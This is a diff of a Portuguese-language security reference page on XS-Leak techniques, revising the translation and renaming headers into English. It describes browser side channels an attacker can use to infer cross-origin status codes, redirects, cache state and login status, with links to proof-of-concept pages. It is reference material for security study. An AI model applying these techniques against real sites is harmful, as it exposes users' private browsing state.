-4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket se torne disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de temporização sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o que foi liberado do passo 3. O tempo que leva para o 256º socket se tornar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser concluída.
+2. Ocupando 255 sockets por um longo período, iniciando 255 requisições a vários hosts, projetadas para manter as conexões abertas sem completar.
+3. Usar o 256º socket para enviar uma requisição à página alvo.
+4. Tentar uma 257ª requisição a um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket se torne disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de tempo sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o que foi liberado do passo 3. O tempo que leva para o 256º socket se tornar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser completada.
 
 Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
-### Pool de Conexões por Destino
+### Connection Pool by Destination
 
-- **Inclusion Methods**: Requisições JavaScript
-- **Detectable Difference**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Inclusion Methods**: JavaScript Requests
+- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**:
-- **Summary:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições concorrentes para a mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **temporizar** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
+- **Summary:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições concorrentes à mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **medir** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
 
-## Técnicas da API de Desempenho
+## Performance API Techniques
 
 A [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferece insights sobre as métricas de desempenho de aplicações web, ainda mais enriquecida pela [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). A Resource Timing API permite o monitoramento de tempos detalhados de requisições de rede, como a duração das requisições. Notavelmente, quando os servidores incluem o cabeçalho `Timing-Allow-Origin: *` em suas respostas, dados adicionais como o tamanho da transferência e o tempo de busca de domínio se tornam disponíveis.
 
-Essa riqueza de dados pode ser recuperada através de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornecendo uma visão abrangente das informações relacionadas ao desempenho. Além disso, a API facilita a medição de tempos de execução calculando a diferença entre timestamps obtidos de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). No entanto, vale a pena notar que para certas operações em navegadores como o Chrome, a precisão de `performance.now()` pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de temporização.
+Essa riqueza de dados pode ser recuperada através de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornecendo uma visão abrangente das informações relacionadas ao desempenho. Além disso, a API facilita a medição de tempos de execução calculando a diferença entre timestamps obtidos de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). No entanto, vale a pena notar que para certas operações em navegadores como o Chrome, a precisão de `performance.now()` pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de tempo.
 
-Além das medições de temporização, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto `performance` no Chrome pode indicar a aplicação de `X-Frame-Options`. Especificamente, se uma página for bloqueada de ser renderizada em um frame devido a `X-Frame-Options`, ela não será registrada no objeto `performance`, fornecendo uma pista sutil sobre as políticas de framing da página.
+Além das medições de tempo, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto `performance` no Chrome pode indicar a aplicação de `X-Frame-Options`. Especificamente, se uma página for bloqueada de ser renderizada em um frame devido a `X-Frame-Options`, ela não será registrada no objeto `performance`, fornecendo uma pista sutil sobre as políticas de framing da página.
 
-### Vazamento de Erro
+### Error Leak
 
 - **Inclusion Methods**: Frames, HTML Elements
-- **Detectable Difference**: Código de Status
+- **Detectable Difference**: Status Code
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Uma requisição que resulta em erros não criará uma entrada de temporização de recurso.
+- **Summary:** Uma requisição que resulta em erros não criará uma entrada de tempo de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
 
-É possível **diferenciar entre códigos de status de resposta HTTP** porque requisições que levam a um **erro** não **criam uma entrada de desempenho**.
+É possível **diferenciar entre códigos de status de resposta HTTP** porque requisições que levam a um **erro** **não criam uma entrada de desempenho**.
 
-### Erro de Recarregamento de Estilo
+### Style Reload Error
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Status
+- **Detectable Difference**: Status Code
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
 - **Summary:** Devido a um bug do navegador, requisições que resultam em erros são carregadas duas vezes.
 - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
-Na técnica anterior, também foram identificados dois casos onde bugs do navegador no GC levam a **recursos sendo carregados duas vezes quando falham ao carregar**. Isso resultará em múltiplas entradas na API de Desempenho e pode, portanto, ser detectado.
+Na técnica anterior, também foram identificados dois casos onde bugs do navegador no GC levam a **recursos sendo carregados duas vezes quando falham ao carregar**. Isso resultará em múltiplas entradas na Performance API e pode, portanto, ser detectado.
 
-### Erro de Mesclagem de Requisições
+### Request Merging Error
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Status
+- **Detectable Difference**: Status Code
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
 - **Summary:** Requisições que resultam em um erro não podem ser mescladas.
 - **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
 A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando-o em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
-### Vazamento de Página Vazia
+### Empty Page Leak
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
+- **Detectable Difference**: Page Content
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Respostas vazias não criam entradas de temporização de recurso.
+- **Summary:** Respostas vazias não criam entradas de tempo de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
 Um atacante pode detectar se uma requisição resultou em um corpo de resposta HTTP vazio porque **páginas vazias não criam uma entrada de desempenho em alguns navegadores**.
 
-### **Vazamento do XSS-Auditor**
+### **XSS-Auditor Leak**
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
+- **Detectable Difference**: Page Content
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Usando o XSS Auditor em Aserções de Segurança, atacantes podem detectar elementos específicos de páginas da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
+- **Summary:** Usando o XSS Auditor em Security Assertions, os atacantes podem detectar elementos específicos da página da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-Em Aserções de Segurança (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na API de Desempenho, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.
+Em Security Assertions (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na Performance API, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.
 
-### Vazamento do X-Frame
+### X-Frame Leak
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Cabeçalho
+- **Detectable Difference**: Header
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
-- **Summary:** Recurso com cabeçalho X-Frame-Options não cria entrada de temporização de recurso.
+- **Summary:** Recurso com cabeçalho X-Frame-Options não cria entrada de tempo de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
 
-Se uma página **não for permitida** a ser **renderizada** em um **iframe**, ela **não cria uma entrada de desempenho**. Como resultado, um atacante pode detectar o cabeçalho de resposta **`X-Frame-Options`**.\
+Se uma página **não é permitida** a ser **renderizada** em um **iframe**, ela **não cria uma entrada de desempenho**. Como resultado, um atacante pode detectar o cabeçalho de resposta **`X-Frame-Options`**.\
 O mesmo acontece se você usar uma **tag embed**.
 
-### Detecção de Download
+### Download Detection
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Cabeçalho
+- **Detectable Difference**: Header
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Downloads não criam entradas de temporização de recurso na API de Desempenho.
+- **Summary:** Downloads não criam entradas de tempo de recurso na Performance API.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
-Similar ao XS-Leak descrito, um **recurso que é baixado** devido ao cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
+Similar ao XS-Leak descrito, um **recurso que é baixado** por causa do cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
 
-### Vazamento de Início de Redirecionamento
+### Redirect Start Leak
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Redirecionamento
+- **Detectable Difference**: Redirect
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Entrada de temporização de recurso vaza o tempo de início de um redirecionamento.
+- **Summary:** A entrada de tempo de recurso vaza o tempo de início de um redirecionamento.
 - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-Encontramos um caso de XS-Leak que abusa do comportamento de alguns navegadores que registram informações demais para requisições de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, em **SA** é possível detectar se o usuário foi **redirecionado** pela página alvo, consultando a **API de Desempenho** e verificando os dados de temporização **redirectStart**.
+Encontramos uma instância de XS-Leak que abusa do comportamento de alguns navegadores que registram informações demais para requisições de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, no **SA**, é possível detectar se o usuário foi **redirecionado** pela página alvo, consultando a **Performance API** e verificando os dados de **tempo de redirecionamento**.
 
-### Vazamento de Duração de Redirecionamento
+### Duration Redirect Leak
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Redirecionamento
+- **Detectable Difference**: Redirect
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** A duração das entradas de temporização é negativa quando ocorre um redirecionamento.
+- **Summary:** A duração das entradas de tempo é negativa quando ocorre um redirecionamento.
 - **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
 
 No GC, a **duração** para requisições que resultam em um **redirecionamento** é **negativa** e pode, portanto, ser **distinta** de requisições que não resultam em um redirecionamento.
 
-### Vazamento de CORP
+### CORP Leak
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Cabeçalho
+- **Detectable Difference**: Header
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Recurso protegido com CORP não cria entradas de temporização de recurso.
+- **Summary:** Recurso protegido com CORP não cria entradas de tempo de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
 
 Em alguns casos, a entrada **nextHopProtocol** pode ser usada como uma técnica de vazamento. No GC, quando o cabeçalho **CORP** está definido, o nextHopProtocol ficará **vazio**. Note que o SA não criará uma entrada de desempenho para recursos habilitados para CORP.
@@ -386,40 +386,40 @@ Em alguns casos, a entrada **nextHopProtocol** pode ser usada como uma técnica
 ### Service Worker
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Uso da API
+- **Detectable Difference**: API Usage
 - **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
 - **Summary:** Detectar se um service worker está registrado para uma origem específica.
 - **Code Example**:
 
 Service workers são contextos de script acionados por eventos que rodam em uma origem. Eles rodam em segundo plano de uma página web e podem interceptar, modificar e **armazenar recursos** para criar aplicações web offline.\
 Se um **recurso armazenado** por um **service worker** for acessado via **iframe**, o recurso será **carregado do cache do service worker**.\
-Para detectar se o recurso foi **carregado do cache do service worker**, a **API de Desempenho** pode ser usada.\
-Isso também poderia ser feito com um ataque de Temporização (verifique o artigo para mais informações).
+Para detectar se o recurso foi **carregado do cache do service worker**, a **Performance API** pode ser usada.\
+Isso também poderia ser feito com um ataque de Timing (verifique o artigo para mais informações).
 
 ### Cache
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Temporização
+- **Detectable Difference**: Timing
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
 - **Summary:** É possível verificar se um recurso foi armazenado no cache.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
 
-Usando a [API de Desempenho](xs-search.md#performance-api) é possível verificar se um recurso está em cache.
+Usando a [Performance API](xs-search.md#performance-api), é possível verificar se um recurso está em cache.
 
-### Duração da Rede
+### Network Duration
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Conteúdo da Página
+- **Detectable Difference**: Page Content
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
 - **Summary:** É possível recuperar a duração da rede de uma requisição da API `performance`.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
 
-## Técnica de Mensagens de Erro
+## Error Messages Technique
 
-### Erro de Mídia
+### Media Error
 
-- **Inclusion Methods**: HTML Elements (Vídeo, Áudio)
-- **Detectable Difference**: Código de Status
+- **Inclusion Methods**: HTML Elements (Video, Audio)
+- **Detectable Difference**: Status Code
 - **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
 - **Summary:** No Firefox é possível vazar com precisão o código de status de uma requisição de origem cruzada.
 - **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
@@ -480,7 +480,7 @@ A propriedade message da interface `MediaError` identifica de forma única os re
 - **Resumo:** Em Security Assertions (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
 
-Essa técnica permite que um atacante **extraia o destino de um redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site de destino que emite um redirecionamento com base no estado do usuário e o navegador posteriormente nega a solicitação, a **URL completa do destino do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
+Essa técnica permite que um atacante **extraia o destino de um redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site-alvo que emite um redirecionamento com base no estado do usuário e o navegador posteriormente nega a solicitação, a **URL completa do destino do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
 
 ### Erro SRI
 
@@ -500,7 +500,7 @@ Um atacante pode explorar **mensagens de erro verbosas** para deduzir o tamanho
 - **Resumo:** Permitindo apenas o site da vítima na CSP, se tentarmos redirecionar para um domínio diferente, a CSP acionará um erro detectável.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
 
-Um XS-Leak pode usar a CSP para detectar se um site de origem cruzada foi redirecionado para uma origem diferente. Esse vazamento pode detectar o redirecionamento, mas, adicionalmente, o domínio do alvo do redirecionamento também vaza. A ideia básica desse ataque é **permitir o domínio alvo no site do atacante**. Uma vez que uma solicitação é emitida para o domínio alvo, ele **redireciona** para um domínio de origem cruzada. **A CSP bloqueia** o acesso a ele e cria um **relatório de violação usado como técnica de vazamento**. Dependendo do navegador, **esse relatório pode vazar a localização alvo do redirecionamento**.\
+Um XS-Leak pode usar a CSP para detectar se um site de origem cruzada foi redirecionado para uma origem diferente. Esse vazamento pode detectar o redirecionamento, mas, adicionalmente, o domínio do alvo do redirecionamento vaza. A ideia básica desse ataque é **permitir o domínio alvo no site do atacante**. Uma vez que uma solicitação é emitida para o domínio alvo, ele **redireciona** para um domínio de origem cruzada. **A CSP bloqueia** o acesso a ele e cria um **relatório de violação usado como técnica de vazamento**. Dependendo do navegador, **esse relatório pode vazar a localização alvo do redirecionamento**.\
 Navegadores modernos não indicarão a URL para a qual foi redirecionado, mas você ainda pode detectar que um redirecionamento de origem cruzada foi acionado.
 
 ### Cache
@@ -513,7 +513,7 @@ Navegadores modernos não indicarão a URL para a qual foi redirecionado, mas vo
 
 Os navegadores podem usar um cache compartilhado para todos os sites. Independentemente de sua origem, é possível deduzir se uma página alvo **solicitou um arquivo específico**.
 
-Se uma página carrega uma imagem apenas se o usuário estiver logado, você pode **invalidar** o **recurso** (para que não esteja mais em cache, veja mais informações nos links), **fazer uma solicitação** que poderia carregar esse recurso e tentar carregar o recurso **com uma solicitação inválida** (por exemplo, usando um cabeçalho referer excessivamente longo). Se o carregamento do recurso **não disparou nenhum erro**, é porque ele estava **em cache**.
+Se uma página carrega uma imagem apenas se o usuário estiver logado, você pode **invalidar** o **recurso** (para que não esteja mais em cache, veja mais informações nos links), **fazer uma solicitação** que poderia carregar esse recurso e tentar carregar o recurso **com uma solicitação inválida** (por exemplo, usando um cabeçalho referer excessivamente longo). Se o carregamento do recurso **não disparou nenhum erro**, é porque ele foi **em cache**.
 
 ### Diretiva CSP
 
@@ -553,7 +553,7 @@ Verifique o link para mais informações sobre o ataque.
 - **Resumo**: Se o cabeçalho Origin for refletido no cabeçalho `Access-Control-Allow-Origin`, é possível verificar se um recurso já está no cache.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-Caso o **cabeçalho Origin** esteja sendo **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar desse comportamento para tentar **buscar** o **recurso** em modo **CORS**. Se um **erro** **não** for disparado, significa que foi **recuperado corretamente da web**, se um erro for **disparado**, é porque foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
+Caso o **cabeçalho Origin** esteja sendo **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar desse comportamento para tentar **buscar** o **recurso** em modo **CORS**. Se um **erro** **não for** acionado, significa que foi **recuperado corretamente da web**, se um erro **for acionado**, é porque foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
 Observe que se a origem não for refletida, mas um curinga for usado (`Access-Control-Allow-Origin: *`), isso não funcionará.
 
 ## Técnica de Atributos Legíveis
@@ -601,13 +601,13 @@ Um exemplo da **cookie bomb + XS-Search** pode ser encontrado na solução prete
 - **Resumo:** Detectar diferenças nas respostas porque o comprimento da resposta de redirecionamento pode ser muito grande para uma solicitação que uma diferença pode ser notada.
 - **Exemplo de Código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
 
-De acordo com a [documentação do Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), o comprimento máximo da URL do Chrome é 2MB.
+De acordo com [a documentação do Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), o comprimento máximo da URL do Chrome é 2MB.
 
-> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação interprocessual.
+> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação entre processos.
 
-Portanto, se a **URL de redirecionamento respondida for maior em um dos casos**, é possível fazer com que ela redirecione com uma **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
+Portanto, se a **URL de redirecionamento respondida for maior em um dos casos**, é possível fazê-la redirecionar com uma **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
 
-A **diferença notável** é que, se o **redirecionamento** foi **concluído**, `window.origin` gera um **erro** porque uma origem cruzada não pode acessar essa informação. No entanto, se o **limite** foi \*\*\*\* atingido e a página carregada foi **`about:blank#blocked`**, a **origem** da janela permanece a do **pai**, que é uma **informação acessível.**
+A **diferença notável** é que, se o **redirecionamento** foi **concluído**, `window.origin` gera um **erro** porque uma origem cruzada não pode acessar essa informação. No entanto, se o **limite** foi atingido e a página carregada foi **`about:blank#blocked`**, a **origem** da janela permanece a do **pai**, que é uma **informação acessível.**
 
 Todas as informações extras necessárias para alcançar os **2MB** podem ser adicionadas via um **hash** na URL inicial para que sejam **usadas no redirecionamento**.
 
@@ -639,7 +639,7 @@ A **API de Histórico** permite que o código JavaScript manipule o histórico d
 ### Comprimento do Histórico com a mesma URL
 
 - **Métodos de Inclusão**: Frames, Pop-ups
-- **Diferença Detectável**: Se a URL é a mesma que a adivinhada
+- **Diferença Detectável**: Se a URL for a mesma que a adivinhada
 - **Resumo:** É possível adivinhar se a localização de um frame/pop-up está em uma URL específica abusando do comprimento do histórico.
 - **Exemplo de Código**: Abaixo
 
@@ -672,7 +672,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
 Contar o **número de frames em uma web** aberta via `iframe` ou `window.open` pode ajudar a identificar o **status do usuário naquela página**.\
 Além disso, se a página tiver sempre o mesmo número de frames, verificar **continuamente** o número de frames pode ajudar a identificar um **padrão** que pode vazar informações.
 
-Um exemplo dessa técnica é que no chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Parâmetros de URL Abertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permitem algum controle sobre o conteúdo, como `zoom`, `view`, `page`, `toolbar`, onde essa técnica pode ser interessante.
+Um exemplo dessa técnica é que no Chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Parâmetros de URL Abertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permitem algum controle sobre o conteúdo, como `zoom`, `view`, `page`, `toolbar`, onde essa técnica pode ser interessante.
 
 ### Elementos HTML
 
@@ -682,14 +682,14 @@ Um exemplo dessa técnica é que no chrome, um **PDF** pode ser **detectado** co
 - **Resumo:** Leia o valor vazado para distinguir entre 2 estados possíveis
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
 
-O vazamento de informações através de elementos HTML é uma preocupação na segurança da web, particularmente quando arquivos de mídia dinâmicos são gerados com base em informações do usuário, ou quando marcas d'água são adicionadas, alterando o tamanho da mídia. Isso pode ser explorado por atacantes para diferenciar entre estados possíveis analisando as informações expostas por certos elementos HTML.
+O vazamento de informações através de elementos HTML é uma preocupação na segurança da web, particularmente quando arquivos de mídia dinâmicos são gerados com base nas informações do usuário, ou quando marcas d'água são adicionadas, alterando o tamanho da mídia. Isso pode ser explorado por atacantes para diferenciar entre estados possíveis analisando as informações expostas por certos elementos HTML.
 
 ### Informações Expostas por Elementos HTML
 
-- **HTMLMediaElement**: Este elemento revela a `duração` e os tempos `buffered` da mídia, que podem ser acessados através de sua API. [Leia mais sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
-- **HTMLVideoElement**: Expõe `videoHeight` e `videoWidth`. Em alguns navegadores, propriedades adicionais como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount` estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. [Leia mais sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
+- **HTMLMediaElement**: Este elemento revela a `duration` e os tempos `buffered` da mídia, que podem ser acessados através de sua API. [Leia mais sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
